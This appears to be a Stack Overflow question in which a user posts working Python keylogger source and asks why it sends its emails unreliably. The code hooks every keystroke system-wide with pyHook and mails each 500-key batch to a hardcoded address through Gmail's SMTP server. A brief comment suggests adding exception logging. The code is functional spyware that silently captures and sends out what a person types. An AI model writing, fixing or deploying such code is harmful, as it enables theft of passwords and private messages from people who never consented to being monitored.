1

I've wrote a simple keylogger that sends an email every 500 keys pressed. And its working. But It's not reliable, sometimes the email is sent, but sometimes not. Lets say, I press a key 1500 times, this should be 3 mails with 500 keys logged. But I can get the three emails, two, one or zero... Depending on whats failing... Looking at this code, could you say why ?

import smtplib
import pyHook
import pythoncom

class Keylogger:

    def __init__(self):
        self.keylog = ''

    def OnKeyboardEvent(self, event):
        self.keylog += str(event.Key)
        if len(self.keylog) >= 500:  # Check size of the keystrokes captured
            # MAIL STUFF
            self.send_email('smtp.gmail.com', 587, 'your@email.com', 'yourpass', '%Keylogger Dump%', self.keylog)
            self.keylog = ''  # Reset keylog to capture new keystrokes
        return True

    def send_email(self, server, port, email, password, subject, body):
        session = smtplib.SMTP(server, port)
        session.ehlo()
        session.starttls()
        session.ehlo()
        session.login(email, password)

        headers = [
            "From: " + email,
            "Subject: " + subject,
            "To: " + email,
            "MIME-Version: 1.0",
            "Content-Type: text/html"
        ]
        headers = "\r\n".join(headers)

        session.sendmail(email, email, headers + "\r\n\r\n" + body)
        session.close()

if __name__ == '__main__':
    # Entry Point
    hook_manager = pyHook.HookManager()     # Create a new hook manager
    hook_manager.KeyDown = Keylogger().OnKeyboardEvent  # Assign the keydown event to our custom method
    hook_manager.HookKeyboard()             # Hook the keyboard events
    pythoncom.PumpMessages()                # Run forever
Jeflopo
  • 2,192
  • 4
  • 34
  • 46
  • Maybe an exception is being raised. Try putting suspicious lines in a try block, and log any errors that occur. – Kevin Jan 06 '15 at 16:32
  • Mmmm... I'll try to print stacktraces when I can ! Thank you for your advice ! – Jeflopo Jan 06 '15 at 19:24

0 Answers0